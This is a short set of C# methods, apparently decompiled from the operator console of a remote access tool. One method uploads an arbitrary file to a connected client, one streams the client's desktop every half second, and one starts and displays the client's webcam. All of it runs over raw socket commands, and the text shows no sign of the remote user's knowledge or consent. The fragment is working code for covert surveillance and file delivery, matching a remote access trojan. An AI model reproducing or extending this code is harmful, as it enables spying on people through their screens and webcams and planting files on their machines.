private void toolStripMenuItem_4_Click(object sender, EventArgs e) { if (Selected != null && ToolSocket.SocketConnected(Selected)) { openFileDialog1.ShowDialog(); if (File.Exists(openFileDialog1.FileName)) { byte[] array = File.ReadAllBytes(openFileDialog1.FileName); string fileName = Path.GetFileName(openFileDialog1.FileName); sendCommand(Selected, "uploadFile", fileName, Convert.ToString(array.Length)); int bytes = Selected.Send(array); TSocket.UpdateTraffic(Selected, bytes, "write"); } } }
public void UpdateRemoteDesktop() { byte[] array = new byte[2073600]; try { while (View) { Thread.Sleep(500); tsock.sendCommand(selected, "desktop.getView", "1"); int bytes = selected.Receive(array); tsock.UpdateTraffic(selected, bytes, "read"); Bitmap bitmap = ByteToImage(array); if (bitmap != null) { Action action = delegate { pictureBox1.Image = bitmap; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } action = delegate { MaximumSize = pictureBox1.Size; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } } } catch (Exception) { StartRemoteView(); } }
private void WebCam_View() { int _sel = 0; Action action = delegate { _sel = comboBox1.SelectedIndex; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } tsock.sendCommand(sock, "webcam.start", Convert.ToString(_sel)); while (View) { byte[] array = new byte[1048576]; try { int bytes = sock.Receive(array); tsock.UpdateTraffic(sock, bytes, "read"); } catch (SocketException) { action = delegate { Close(); }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } Bitmap bitmap = ByteToImage(array); try { if (bitmap != null) { action = delegate { pictureBox1.Image = bitmap; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } } catch (Exception) { } } }